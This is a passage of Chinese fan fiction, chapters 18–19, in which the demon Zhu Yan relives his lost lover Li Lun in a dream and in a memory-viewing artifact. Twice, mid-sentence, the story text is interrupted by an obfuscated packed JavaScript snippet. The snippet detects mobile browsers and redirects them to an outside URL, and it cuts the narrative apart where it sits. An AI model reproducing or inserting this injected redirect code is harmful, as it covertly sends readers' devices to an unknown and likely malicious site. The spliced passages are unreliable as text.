“可你也不曾告诉我,你口中所说的情,到底是何物?为何能令你如痴如狂?” 男人指尖转而点上朱厌的眉心,那双琉璃色的眼睛随即闭上,悄声无息地进入了朱厌的梦。 沉爱之香而生的梦境,不似寻常梦。 一场梦,轮回情,情之难,爱之重,愿之迫,故曰,沉爱愿境。 梦境里头发生的所有一切,皆为梦由心生。 以当事者内心深处最迫切,最渴望的愿望为引而造的,只为满足当事者内心深处那一抹昙花一现的美好。 梦境因人而异,可都该是五彩斑斓的梦境。 但在朱厌这里,他的梦境,竟然是没有一丝色彩的黑白之色。 男人看到,梦境中的朱厌,一个人失魂落魄,长跪于昆仑雪山的地上,周身还隐隐散发着一抹诡异的黑气。 漫天黑雪,夹着灰烬,从天而飘,落到了朱厌的身上,沾到了他漂亮的眉眼之上,染满了他的四肢百骸。 从天而降的黑雪,污了一整座雪白的昆仑雪山,也将那个本该高高在上,无比圣洁的人,给拉下神坛,彻底弄脏了他。 朱厌这副颓废模样让男人忍不住蹙眉,一向波澜不惊的他竟顿时嗔怒起来。 “几万年了,你和他...” “爱,又爱不明白。恨,又恨不清楚。” “三万年的时间,沧海桑田,岁月迭代,足以忘记一切,你为何还是这副模样——” 跪坐在地上的朱厌被这道突如其来的声音唤过神来,眼眸微闪,张了张的嘴合上,最终还是出声,反驳了这人的话语:“那又如何?我爱他。” 男人一听,一股无名的怒火再次由心而生,望着朱厌的眼里尽是怒意:“执着情爱,冥顽不灵,愚不可及。” 男人恼羞成怒,抛下这句话后,转身便离开了朱厌的梦境。 “阿厌。” 原本失魂落魄,跪坐在雪地之上一动不动的朱厌在听到这一声熟悉的亲昵称谓后,顿时一愣,始终不敢抬头望向这道声源。 朱厌心想着,他许是疯了吧,连在梦境之中也出现了幻听。 令人诧异的是,朱厌身处的这个梦境内,原本毫无色彩的黑白万物,在朱厌听到离仑声音后,竟然神奇地恢复回原本的五彩色泽。 “阿厌,你不是答应我,会照顾好自己的吗?怎么这么不乖呢?” 朱厌依旧低垂着脑袋,眼眶却控制不住地泛红了起来:“离仑...是我的离仑...” 可是,当他好不容易鼓起勇气抬头时,却发现在这偌大的雪山之上,除了自己以外,空无一人。 朱厌无精打采地跌坐回原地,失落地落下一行眼泪。 一道透明的身影,缓缓现形。紧接着,这道身影不疾不徐地一步步走到朱厌跟前。 一只骨节分明的大手,缓缓伸到朱厌眼前,出现在他的视线里。 望着坐在地上一副脏兮兮模样的朱厌,离仑一脸无奈 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他的眼睛好疼,可是比起他的眼睛,此刻胸腔内他那颗活蹦乱跳着的心脏更让他疼得难受。 朱厌不知道该用何等语言,才能深刻地将他内心深处的那种心痛,精准无误地表达出来。 眼泪如同断线珍珠,从朱厌那双漂亮的桃花眼眸内滚落,汇成一行又一行刺眼的晶莹。 明知道眼前的一切只不过是镜花水月,明知道一旦接受了,自己就会疼上好久好久,可朱厌还是心甘情愿地走入这个虚构飘渺的温柔乡。 “我们阿厌,怎么又哭鼻子了?”离仑不由调侃出声,浑厚低醇的嗓音里更是带上了一抹浅笑。 朱厌又喜又悲,一脸委屈:“是离仑,是真的离仑。” 离仑看着一脸委屈模样的朱厌,连忙出声安慰着他:“听话。别哭了。你这样,我会很难过的。” 朱厌一听,眼泪流得更凶了,心里头五味陈杂,悲喜交加之下只觉得愈发委屈了:“混蛋...你这个大骗子...” 朱厌明明是大荒内无所不能,庇佑众小妖小怪的大妖怪,明明是凡人捉妖师与修炼术士栗栗危惧的上古大妖,但是一向理智行事的自己,好似只要碰上离仑,就格外失态,就像一只警惕的猫儿忍不住露出柔软的肚皮,放下心中戒备,不由示弱撒娇。 朱厌才发现,原来自己,也会委屈,也会软弱。 他,好像并没有自己想象之中那么地坚强。 当泛红的红瞳对上那双无比熟悉的灰蓝眼眸,两人就这样默默对视着,四周呼啸而过的寒风好似也在此刻停下了脚步,流动的时间也被按下了暂停。 离仑自是听懂了朱厌话语之中的撒娇之意,轻声哄着:“阿厌,怎么又哭鼻子了?听话。别哭了。” 静谧的四周除了呼啸而过的风声,便只剩下朱厌身后那座连接昆仑雪山与大荒外界的昆仑神桥上,无数个不断随风碰撞而叮当作响的法铃声音,清脆又寂寥。 昆仑雪山上的阵阵寒风,拂过离仑两侧散落的发丝,将那双灰蓝深瞳内的柔情,展现得淋漓尽致。 万年前那场昆仑大战上,离仑死后,守护昆仑雪山与大荒妖域的槐鬼之力,也随着离仑的身死魂消而消失殆尽。 圣洁的昆仑雪山,就像是为了缅怀他们逝去的王。自那天起,漫山遍野,天地万物,都被层层黑雪覆盖,宛如一场盛大的祭奠。 昆仑雪山之上,黑雪寄相思,寒风盼故人。 昆仑神庙之前,故人不归,千里冰封,万里雪飘。 可是此刻,在沉爱之香的梦境之中,这里的昆仑雪山,原本漫天纷飞的黑雪,终于再次变回了皎洁的白雪,从晴朗的空中,掺杂了一抹暖阳的金辉,缓缓从天飘落。 离仑跟朱厌,漂亮的眉眼之上,皆沾染上了飘落的白雪,两个人都美得格外得不真实。 阴阳相隔了数万年,短暂的相逢之下,离仑与朱厌,两人相视而望之中,流转与回荡在彼此眉眼之间的,是难以述说明白的缠绵情意。 朱厌一把冲进离仑的怀里,可就在即将触碰上离仑的那一瞬间,离仑的身影便化作一阵随风散去的青烟,只留下原地错愕不已的朱厌:“离仑!别走!” 18. 海地崩塌 又再次被离仑丢下的大妖朱厌,一脸错愕,神情痛苦,跌坐在地,嚎啕大哭。 “混蛋!你就是个大骗子!大混蛋!” 朱厌知道,这只是一场梦。 可是,哪怕是在虚无缥缈的梦境内,他还是无法如愿,还是再一次失去了离仑。 这场短暂的梦里相逢,朱厌早已分不清楚,到底是庄周梦蝶,还是蝶梦庄周,也不愿再去分得清楚。 槐江谷内的朱厌,脸色格外难看,眉头紧锁,似有苏醒之意,却迟迟没有醒过来。 离仑消失后,四周的一切就像是被大风吹散的沙粒,开始碎裂。 等到朱厌再度回神时,映入眼里的一切,荒芜又阴暗,是一个不见天日的洞窟。 一个高大的人影藏在暗处,静谧的四周隐约听到交响的锁链声。 朱厌朝着那阴暗角落走去,他看到离仑孤寂地坐在角落里,被锁住的他,衣衫褴褛,四肢都被好几根粗链捆绑着。 朱厌不解,向往自由且一向高傲的离仑,怎能容忍他人对他如此?怎会沦落到受制于他人的地步? 一道庄严的梵音,传入朱厌的耳内。 “吾要罚他,愿不得,爱离散。” 一道天雷从天而降,精准无误朝离仑劈下,离仑硬生生将天雷承入体内,嘴角瞬间流淌下一道鲜血。 朱厌下意识脱口而出:“不要这样!离仑!” 洞窟内的离仑,伤得很重,却还是忍不住出声安慰着他,好似朱厌此刻就站在他眼前一般:“阿厌,别哭。” 诛仙崖边上,天雷滚滚,电闪雷鸣,寒风凛冽,一道白色身影站在高台之上,衣袂飘飘,站姿如松。 一旁的男人冷漠寡然的眉目之间,不由染上一抹不悦:“别闹。下来。” 一片电闪雷鸣之中,朱厌看不清楚那人的长相,只能依稀看到那人模糊的身影。 他听到那人用着决然的语气,不卑不亢说:“既要罚他,那我便陪他一起。” 男人怒声训斥着站在崖上的人:“你疯了吗?为何要忤逆?这么做,值得吗?” 可是站在崖上的人,沉默不语,在语气决然说完这话后,便决然地纵身一跃,跳下了深不见底的诛仙崖。 一声悲痛的猿啼,响彻天霄—— 男人匆忙伸出的手,还是抓不住跳下诛仙崖的那一抹白衣:“你当疯魔了!为了他,为了如此一人,连命都不要了吗?” 梦境又再次碎裂了,一眨眼,朱厌早已身处大荒禁地。 泛着凉意的大荒白泽神碑之上,两只手,一大一小,搭放在白泽神碑上。 朱厌抬头望去,站在他眼前的人,不似先前在冉遗尘梦迷阵内看到的脸。 这一次不是卓翼宸的脸,朱厌看到的,是真真正正的离仑,是离仑的脸。 彼时的离仑,一头暗蓝色的发丝长至拖地,随风飘舞着,是还没有丧失妖力的槐鬼大人,是守护大荒让人闻风丧胆的大荒妖王。 望着近在咫尺的离仑,朱厌有很多话想要跟他说,可是张了又张的嘴,最终还是没能说出一句话。 朱厌就这么静静地,痴痴地望着离仑,眼神缱绻,满目情意。 朱厌的目光,从离仑额间那两道暗蓝色的槐鬼妖纹,逐渐下移望向他深邃似海的眉眼,高挺的鼻梁,再到形状漂亮的薄唇。 这张原本他应该无比熟悉的面容,却不知因何缘故,被他遗忘了足足数万年。 漫长到无尽头的岁月里,那些被时光磨灭的记忆,曾经被尘封在内心深处的往事,那些被朱厌遗忘过的一切,此刻宛若深埋土层的蝶茧,覆在他心头。而此刻,这一只蝴蝶正试图破茧而出,从他的心头缓慢钻出,让他又疼又痛。 朱厌忽而想起了以前在昆仑雪山上的自己跟离仑。 明明是天生喜静的草木精怪,即便嘴上百般推辞,千般拒绝,万般嫌弃。但最后,离仑还是会选择陪着自己一起胡闹。 明明是调皮的自己闯下的滔天大祸,可是每逢被英招罚跪抄书的时候,离仑这块大木头总会默默地陪着他一起受罚。 明明应该是自己受的罚,最后反倒是陪同受罚的离仑,一手承下了他全部的处罚。 失去了槐鬼庇佑之力的大荒,再次变回万物枯荣,一片荒芜的模样。不再有凡间的万紫千红,也没有那些四季如春,只有凛冽飘雪的寒冬。 寒风呼啸着穿过大荒的禁地,刺骨的冷冽刮过朱厌的脸,让他觉得格外生疼,吹乱了他身后的长发,更是吹乱了他的心事。 大荒的风,吹散了两人身后飘逸的长发,随意拂过两人额前散落的几缕发丝。 两人散落的发丝,在风舞之中,暧昧相缠,难以分离。 朱厌望着离仑,一时之间晃了神,连同眼里也被一层温热的水雾模糊了视线,蒙了双眼。 明明他是世人口中十恶不赦的恶妖,此刻他这只恶妖,竟心生出一丝期盼,想向九天之上的神明,求许一份许愿的心思。 朱厌心想,若那遥远的九天之上,诸多神明仙佛也能如他们倾听凡人心愿般听到他的心声,那是否也能给他指出一条拨开迷雾的明道... “朱厌,这个梦如此伤情,你还要记起来吗?” 是那道当初他意识离体,游荡四海八荒时,指引他归程的声音。 朱厌目不转睛盯着眼前的离仑幻象,即便一句话都不说,可也难掩眼眸之中的坚定:。 “到底发生了什么事情?我为何不愿记起呢...” 朱厌的手缓缓抬起,伸出的指尖,在与离仑一指距离的脸前,便停下。 他害怕他一碰,眼前这个离仑的幻象,就会再次从他眼前,彻底消失得一干二净。 朱厌泛着凉意的指尖,隔着一指距离,带着一丝小心翼翼,以最慢的速度,轻轻描过离仑漂亮的眉眼,描过离仑这张他曾经与其朝夕相处了数万年,却又被他遗忘了数万年的面容。 “离仑...”望着眼前的离仑幻象,朱厌再也忍不住地红了眼,“你说...” “是不是...只要我回到过去,就可以改变我们的结局呢...” 这个混蛋,这个满口谎言的大骗子,一句话也没留下,就直接把他一个人,孤零零地丢在了大荒数万年。 “可是,我到底要怎么做,才可以回到过去呢?” 朱厌觉得,老天对他,真是不公平。 既然他都已经忘记了,为何还要让他想起来? 既然不想他想起来,就应该把所有的一切,都毁灭得干干净净,不留一丝蛛丝马迹才对。 为何非要留下那么多蛛丝马迹,让他那么好奇又如此痛苦... 朱厌憎恨这种受人操控的感觉。 他憎恨,厌恶这种明明自己是局中人,却偏生自己所行之路,所作之事,都被一双无形的手操控着,只能按照既定计划,按部就班地发生着。 “朱厌,不记得了也好。这须臾万年的恩怨,不过是一世情劫。” 槐江谷内,由于沉爱之香而陷入梦魇的朱厌,丝毫不知自己在梦境内的情绪波动直接影响着现实中的一切,他体内的戾气封印也逐渐出现松动的迹象。 一股又一股源源不断的红色戾气,汹涌地从朱厌身上溢出,汇聚在一起,在朱厌身后凝聚成形。 是朱厌的法相。 原本雪白的白猿法相,此刻被红色戾气紧紧团裹住,电光火石的当下,便从通体雪白变成了一只浑身血红,眼冒黑雾的巨大白猿。 下一刻,红黑相间的戾气法相便冲出了小居的保护结界,逃出了槐江谷。 一时之间,成型后出逃的部分戾气,掩盖了整个大荒的蓝天。 天空被滚滚黑云彻底覆盖住,雷声轰轰,震耳欲聋,一道道明亮又刺眼的闪电从天而降,开始向大荒的海地劈下。 山岳倒塌,大地裂开,飞石走沙,巨声隆隆。 上一秒完好无损的大荒海崖边,一瞬间便被一道闪电砸得大地开裂。尘土飞扬的同时,连带着四周碎石飞溅。 大荒之内,顿时开始地动山摇,所有的小妖们,开始四处逃窜躲命。 一个小妖大声惊叫着:“大家快跑啊!大荒的海地崩塌了!” 槐江谷内也受到影响,开始摇摇欲坠,纷纷落下碎石。 槐江小居庭院内,正在扫地的槐精见状,脸色一白,赶紧从怀里掏出一片枯竭的槐树叶子。 那一片枯竭的槐树叶子顿时化成一只小妖兽,以最快的速度,朝着昆仑雪山方向飞去。 昆仑雪山上,神庙之中,原本在闭目修炼着的英磊,感应到昆仑结界被人闯入,骤然睁开的眼里,满是让人捉摸不透的晦暗神情。 槐精法力有限,所以化出的传话小妖兽也飞得跌跌撞撞的,终于一波三折后,笨手笨脚地飞到了英磊跟前。 传话小妖兽神色慌张:“小山神大人,不好了!” “妖后大人戾气失控了,那些出逃的戾气,致使大荒的海地,崩塌啦!你快来呀!” 话一说完,传话小妖兽妖力消耗殆尽,便化作一阵烟,消散不见了。 谁知道,听完小妖兽的话,英磊反而一脸淡定,好似早已预料到这件事情的发生。 “这一天,还是到了吗?” 英磊一敛素日玩闹嬉戏的模样,望着电闪雷鸣的天空,微微抬起的眼眸,夹杂着让人看不懂的复杂情绪:“朱厌...” “你终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340710|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于,要彻底想起他了吗?” 若有所思地望着被戾气逐渐侵蚀而变黑的大荒天空,英磊的思绪,不由自主地飘回了半年前,那个时候的朱厌,刚苏醒不久。 半年前,一座庄严的山神庙坐落在错别有着的树林里。 感应到有人偷偷闯入自己的山神庙地盘,英磊咋咋呼呼地挥着自己的大菜刀,就从里头冲了出来。 “是谁胆子这么肥?竟敢在我小山神的地盘上撒野?看我不把你做成煎饼摊子!报上名来,本山神考虑饶你不死!” 背对着站在山神庙院子内的朱厌,身着一身华贵的精致衣裳,站姿如松,负手而立。 在听到英磊声音的瞬间,朱厌忍不住摇了摇头。 朱厌随即转过身来,那双漂亮的眼睛内泛着一股慵懒劲儿,眉眼含笑望着来人:“英磊,万年不见,别来无恙啊!” 挥着大菜刀出来的英磊一看,不由一呆,原来是朱厌这只臭美的白猴子啊。 “找我有什么事呢?”英磊呲着一口大白牙,一脸傻笑着跟朱厌打着招呼,“朱厌大妖,好久不见啊!” 朱厌慢悠悠开口说着:“找你,的确有事。” “说吧,有啥事?” 英磊挥着自己的大菜刀,一边修着自己的大胡子,一边附和着朱厌的话。 “告诉我,离仑是谁?” 朱厌这话一出,原本正拿着大菜刀修着自己大胡子的英磊,身子一愣手一抖,大菜刀差点削到他的手,眼内瞬间闪过一抹慌乱与无措。 “呃...离仑啊...” “呃...离仑是谁啊...” “你说的那什么,我哪知道什么离什么仑的,不认识。我走了!”说完,英磊便以最快的速度打算逃出山神庙。 朱厌与英磊相识数万年,对他的性子还是有点了解的。 朱厌一听,正玩着自己头发的手一顿,不由虚着眼,瞥了一眼对面的英磊。 英磊支支吾吾了大半天不仅没将他问的问题回个明白,眼神还不敢对上自己视线,一看就是有鬼! 这副鬼鬼祟祟的奇怪模样,倒是惹得朱厌格外注意起他来,提前就做好一手准备,所以在英磊准备逃的时候,朱厌先行一步截胡了他的去路。 “好端端的,你跑什么呢?你给我站住!” 朱厌眼眸微抬,那一双原本泛着慵懒劲儿的眼内,此刻变得格外清明,直勾勾地盯着英磊,就像一头正盯着猎物的野狼,眼里泛着幽幽冷光。 英磊不由咽了咽口水,朱厌跟离仑可是大荒最厉害的上古大妖,自己肯定打不过朱厌,但万一瞎猫碰上死耗子呢,赌一把。 心动不如行动! 英磊握紧自己的大菜刀,朝半空之中挥舞了好几下,满地飘落的枯叶便席地而起,卷成一股风波,冲朱厌狠狠袭去。 “英磊,你这是在做什么?你...” 英磊的突袭毫无预警,朱厌下意识召唤出自己的命格法器。 一把边缘被大大小小红金铃铛点缀满的纸伞,瞬间从天而降,闪现到朱厌跟前,抵挡着了英磊的这波攻击。 英磊见状,脸上满是得意之色,露出一大口白牙,站在原地傻笑个不停。 看来,最近的修炼没有白费,这不,他都能把朱厌打得站在原地一动不动了。 再一次挡掉英磊的又一波攻击后,伞被收了起来。伞一收,朱厌的脸便露了出来。 朱厌的嘴角,勾起一个小小的弧度:“英磊,你打我。好大的胆子——” 看向英磊的眼里,滑过一抹狡黠的精光,掷地有声:“我要跟爷爷告状。” 英磊一听,原本挂在脸上的傻笑顿时僵掉,被朱厌的这番小人行为震惊得连话都说不利索了:“欸欸欸...冷静!冷静!别冲动嘛,有话好好说...好好说...你这爱美的臭猴子,干嘛如此较真呢...” “你看,我就开个玩笑,你还较真起来了...” 朱厌双手轻捋着自己被英磊弄乱的身前长发,冷笑出声:“哼!狡兔还有三窟呢!我就较真,我就告状,你能耐我如何?” “朱厌大妖,你又不讲武德!” “你找爷爷告状,那我就找离仑告状去!” 英磊被朱厌气得站在原地哇吱乱叫着,挥着自己的菜刀不停控诉着,丝毫没留意到自己已经说漏嘴了。 朱厌敏锐地捕捉到英磊的漏词,离仑? 眼眸一虚,当下他便疑惑出声:“嗯?” 才后知后觉反应过来的英磊,被朱厌这一反应点醒,彻底石化在原地,此刻的内心着急得如同热锅上逃命的蚂蚁。 英磊内心哀嚎着咆哮:完啦!说漏嘴啦!爷爷啊!快救我! 19. 离仑记忆 烦躁情绪涌上心头,英磊忍不住咬了咬自个牙后槽,心想着一不做二不休,转身就又要开溜逃走,却又再次被朱厌截了胡。 闪现到英磊跟前的朱厌,在他还未反应过来前,抬手念咒:“跪——” 一字诀一出,英磊便被一股无形的力量逼迫得直接跪下。 整个人一动不动地跪在原地,英磊望着朱厌的脸上,除了不可置信,还有难言的震惊:“朱厌你...#$%&*@%^&&*%!” 卑鄙!这只臭猴子,还是一如既往耍流氓,每次交手都要使用一字诀。 站在一旁的朱厌,走到英磊跟前,弯腰附耳,做出一幅认真倾听的模样,还时不时摆出一幅认同的神色,煞有其事点了点头。 他不用听,一猜就知道英磊在骂他,估计还骂得挺脏的。 被一字诀压迫得杵在原地,难以动弹的英磊,脑袋瓜子飞速思索着如何脱身,却不知自己耍着的小心思都早已被朱厌看在眼里。 “动——” 又一个一字诀一出,英磊直接瘫倒在地。 英磊再次被朱厌的一字诀教训得直接震惊在原地,瞪着圆溜溜的大眼睛,又羞又怒地盯着朱厌。 “不闹你了,”朱厌随手解开了英磊身上的一字诀,习惯性地拿起自己的发尾,有一下没一下地梳理着自己一丝不乱的头发,“快说,你到底瞒了我什么事情?” 英磊哭丧着脸,直接摆烂,也不挣扎了:“朱厌大妖,你跟离仑的那些陈年烂芝麻的爱情往事,我什么都不知道。” “嗯?” “哎呀,要死了!我这个把不了门的破嘴,这么又漏勺了!破嘴!破嘴!该打!” 英磊愁眉苦脸扭过头,伸手拍了拍自己的嘴,嘀嘀咕咕着。 算了,事到如今,瞒也瞒不下去了。 “好吧...我告诉你,别告诉爷爷,也别去问爷爷。” 原本活蹦乱跳的英磊,此刻脸上满是落寞之色:“爷爷身子不好...你告诉他,爷爷会伤心的...” 当初得知离仑死在昆仑雪山上,英招还因此一病不起,养了好久才把身子养好。 察觉到英磊语气中的不对劲,朱厌更加好奇了:“就乖乖把你知道的,都告诉我吧。” “好吧,知道了知道了,都告诉你还不成吗?你跟我来吧。” 英磊领着朱厌,走进了山神庙,从犄角旮旯的角落里,找出自己的法器。 一个十分精致又格外小巧的小香炉,被他递到朱厌跟前。 朱厌一眼就认出这小香炉,疑惑一问:“就它?山海寸境?” “它,”英磊故意停下话语,顺道给朱厌卖了个关子,“早就不再是以前那个普通的山海寸境了。” 这是山神一族用来穿梭群山峻岭,日行千里的‘山海寸境’。 原本‘山海寸境’只能用来空间瞬移,但在几万年前,在离仑的帮助上,英磊便将这‘山海寸境’给炼化多了一层功能。 英磊犹豫了片刻后,才像个小老头一样,语重心长开口说道:“朱厌,这个山海寸境里,存储了离仑的一部分记忆。” 英磊一边说着,一边朝地上掸了掸灰尘后,拉着朱厌,两个人直接盘腿坐下。 地上的灰尘弄脏了朱厌身上的衣服,朱厌一看,眉头一皱,顿时面露嫌弃之色。 英磊一看,忍不住翻了个白眼,满脸无可奈何,随即伸手,直接给朱厌拍了拍他身上扑飞的灰尘。 这爱臭美的死猴子,都什么时候了,还这么穷讲究! “咳咳咳...英磊你...你别拍了...别拍了...”飞扬的灰尘呛得朱厌不由咳嗽,赶紧拉住英磊拍灰拍得正起劲的手。 “你回去,让槐精给你洗一下不就行了。” “朱厌你这个又臭美又穷讲究的破性子,也就离仑那个万年老槐妖才吃得消,瞧他把你给惯得,只差上天遁地了!” “你...” 感觉自己莫名其妙被中伤的朱厌,睁着一双无辜又圆溜溜的大眼睛,刚想准备开口反驳,就被英磊又一步给截走了话。 “闭上你叽里呱啦的小嘴啦,”英磊对着朱厌一脸嫌弃地吐槽着,接着将手上的山海寸境放下,连忙开口先行堵住想开口的朱厌,“走吧。我带你去看看他的记忆。” 英磊拧了下香炉的顶端,十指结印,口中念咒。 下一秒,原本在地上的山海寸境,顿时缓慢飞到半空之中。紧接着,山海寸境急速转动着,变得越来越大,比坐在地上的两人身形还要大上十倍。 “朱厌,他说,你该忘了他,”英磊一边施法一边歪着脑袋跟一旁的朱厌说着话,“但我还是觉得,你应该去看看,你跟他的那些陈年烂芝麻的爱情往事。” 随着山海寸境转动的速度越来越快,山神庙内所有一切景象顿时变成宛若风沙吹散的金色小沙粒。 朱厌和英磊的身体被四周的金色小沙粒包裹住,飞速旋转着的山海寸境直接把两人吞进炉内。 下一秒,伴随着一股刺耳的嘶鸣声,朱厌和英磊的身影便彻底消失不见了。 一阵刺眼的白光褪去后,朱厌跟英磊睁开眼,映入眼帘的是繁华热闹,摆满各种琳琅满目的小东西,小贩声叫喊买卖声不断的凡间。 ‘山海寸境’把朱厌跟英磊带到了五万八千多年前的离仑记忆里。 五万八千多年前,凡间,三境界。 看着眼前熙熙攘攘,车水马龙的凡间,英磊抓耳挠腮,绞尽脑汁了大半天,才终于想起来这山海寸境究竟将他们送到离仑的哪个记忆中去。 他想起来了! 这里的记忆,应该就是那次离仑陪朱厌去人间后,回到大荒就找他吐槽凡人不仅爱撒谎还狡诈得不得了的那一次。 四周喧闹嘈杂,街道无比热闹,到处张灯结彩,车水马龙。天空淅淅沥沥地下起了雨,可依旧没有影响到街道上,小贩们做生意的热情。 路上来往的行人们,一个个陆续撑开手中的油纸伞来避雨。 没一会,街面上便被一把把打开的油纸伞填满,到处五彩缤纷,好似初春降临的百花争艳。透明的雨滴,溅落在所有五彩斑斓的伞面上,飞溅起一层又一层薄薄的水雾。 “阿离,下雨了。”一道十分干净的声音缓缓响起,夹杂了一抹愉悦。 蒙蒙细雨,从天而降,落个不停,连带着地面,都飞溅起薄薄的水雾。 尽管这淅淅沥沥的雨声,把这道干净的少年声音,掩盖得很微弱,可还是一下子就让朱厌注意到了。 朱厌一转身,便看到离仑记忆的自己,慌乱跑到一旁屋檐下,躲起雨来,还时不时伸手,掸着自己衣裳沾染到的雨珠。 “小木头——” “你还不快过来——” 朱厌看见,跑到屋檐下躲雨的自己,正朝着某个方向,大声呐喊着。 “你这是在做什么?快进来躲雨呀!” 顺着少年朱厌的视线望去,朱厌一眼就看到了站在人群中那道抢眼又高挑的身影。 记忆里,原本拥有一头长至拖地幽蓝长发的离仑,此刻又再次变成了短发。 朱厌不由一愣,离仑他这是...又失去妖力了吗? 年少的离仑,此刻正站在街道中央,饶有兴趣地看着诸多行人撑着纸伞,路过自己的身旁。 漫天落下的蒙蒙细雨,打落在离仑身上,让他周身都被泛起的微薄水雾笼罩着。 离仑那双耀眼的灰蓝眼眸之中,流转着少年独有的傲气:“阿厌,我不要避雨——” “你快看,”接着,他便转身,对着站在屋檐下躲着雨的少年朱厌笑着说,“风吹雨打,雪落霜降,世间一切,万法自然。”① “而我离仑,从来不躲,也从来不退。”② 彼时的少年离仑,嗓音清润温和,不似成年后那般低醇浑厚。 当离仑那道温润如玉的嗓音响起的那一瞬间,朱厌只觉得,这道温润嗓音仿若一只翩翩起舞的彩蝶,趁机偷偷潜入自己的耳畔,在自己平静的心湖之上拂过层层涟漪。 站在一旁的英磊,从头到尾都没有出声,看到此情此景的他也只是偷偷侧过身子,暗自偷偷瞄了瞄朱厌的表情。 可是一旁的朱厌,望着离仑的脸上,并没有露出一丝情绪。 看着面无表情的朱厌,英磊内心哀嚎着! 这只现在看起来没有反应的猴子,看起来...真的——好——恐——怖——啊! 朱厌与少年离仑,两人隔着漫天细雨,相隔了约十几米的距离。 朱厌什么话都没有说,只是静静地站在少年离仑的跟前,眼睛却从头到尾都没有从离仑身上挪开过半分。 朱厌这才发现,今日的离仑身上穿的衣裳跟年少的自己,两人穿着几乎是一模一样。只不过自己的外袍上,多了很多花里胡哨,用来点缀的毛茸茸小球球。 头忽然一疼,让朱厌忍不住痛闷出声,伸手捂住了酸胀刺痛的脑袋。 一些奇奇怪怪的碎片,莫名其妙闯入他的脑海里。 他,看到了,也想起来了些许... 身为草木精怪的离仑,平日除了修炼一事感兴趣之外,对其他一切都无感。生性不爱束缚的他,自是对衣着打扮这种琐事漠不关心。 离仑的衣裳,都是自己给他准备的。 朱厌跟离仑,两个人的性格,相差的那叫何止一个天一个地的区别。 就着装而言,朱厌喜欢花里胡哨的衣裳,离仑喜欢素雅简约的款式。可偏生,朱厌最爱捉弄离仑,每次自己买了新衣裳,总要给离仑备上一模一样或相似的衣裳。 离仑当然知晓朱厌的这些小把戏,但也不曾戳破过一分。 虽然,每次离仑看到朱厌送他那些花里胡哨的衣裳后,满眼都写满了拒绝两个大字,但还是会很诚实地收下所有。 只是,等到离仑真正穿上身的时候,先前朱厌送他的衣裳,总会变得‘面目全非’。 是的。就是字面上的面目全非。 离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340711|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仑会吩咐槐精,把朱厌给他准备的衣裳上面那些花里胡哨的小配件小饰品统统拆掉,最终只留下一身素雅简约的衣裳。 朱厌每次看到,都会闹些心思逗趣离仑,而离仑也总会被朱厌出其不意的‘难过’捉弄得手足无措,最后彻底败下阵来。 在屋檐下躲着雨的少年朱厌,双手叉腰,学着话本上画的凶人模样,摆出一副凶巴巴教训人的模样,一板一眼吐槽着:“真是木头。” “好吧,”少年朱厌一脸无奈,还不忘做出一幅恐吓离仑的表情,“你若病了,我可不照顾你。回头就让槐精给你熬苦药,一定要把你苦得哇哇大叫才行。” 少年的自己望着底下淋雨着的离仑,一脸无奈,说完便转身走了,留下了还站在原地一动不动的离仑。 朱厌身后那条银灰辫子上绑着的小铃铛,也随着主人转身离去的动作,在淅淅沥沥的雨声中,发出微弱的铃铛响声。 少年离仑朝屋檐处偷瞄了一下,发现朱厌已经走开了,这才回头看了看摊位上的油纸伞。 一个女娘急匆匆跑到伞摊前问价:“老板,这伞多少钱?” 那卖伞的小贩商人回着:“这伞啊,只要五文钱。” 离仑走了过去,也学着那小女娘的口吻问了问价钱:“老板,这伞多少钱?” 看到气质非凡的离仑,小贩心想着,今日总算逮到一只大肥羊了,可以好好宰个痛快,顿时就坐地起价,喜笑颜开:“公子一看就是尊贵之人,这伞啊,就卖你二十文好了。” 离仑一听,眉心一蹙:“这伞...不是五文钱吗?” 小贩一听,脸上一垮:“这伞...现在啊...涨价了。” “公子...你还买吗?”小贩一边手里忙活着收摊回家,一边在心里头不断来回蛐蛐着。 眼前这人,一看就是不缺钱的富贵公子哥,居然还要跟赚着这小盈小利养家糊口的自己讨价还价,语气顿时更加不悦起来,连同脸上的神情也满是不耐烦。 小贩满脸溢出的不耐烦,自是被离仑看在了眼里。 离仑想起朱厌刚刚多看了那把伞那一眼的神情,毫不犹豫开口:“我买。要那一把最漂亮,最好的。” 即便知道小贩坐地起价,离仑还是一口应下了,把朱厌刚刚看中的那把伞买了下来。 少年朱厌自顾自地往前走着,蒙蒙细雨从天而落,给他那一身漂亮的衣裳蒙上了一层薄薄的水雾。 突然间,一把漂亮的油纸伞,在朱厌的头顶撑开。 朱厌见状,下意识望向头顶的雨伞后不由转头,便一眼看见站在自己身边,正给他撑着伞的离仑。 “阿离,你怎么买伞了?” 看着莫名其妙出现在自己头顶上的油纸伞,少年朱厌一脸惊讶地望着少年离仑。 少年朱厌同离仑说话时,那双明媚的桃花眸,眼睛总会变得圆圆的又亮亮的,忽闪忽闪的,像一只勾人心魂的迷蝶,直勾勾地盯着离仑。 与他对视着的离仑,顿时便看痴迷了眼。 朱厌的眼睛很漂亮,清澈又干净,明亮且真诚,不染一丝世俗。 每一次,两人对视时,总让离仑觉得,这样子的朱厌,他值得也配得上这世间上所有的美好。 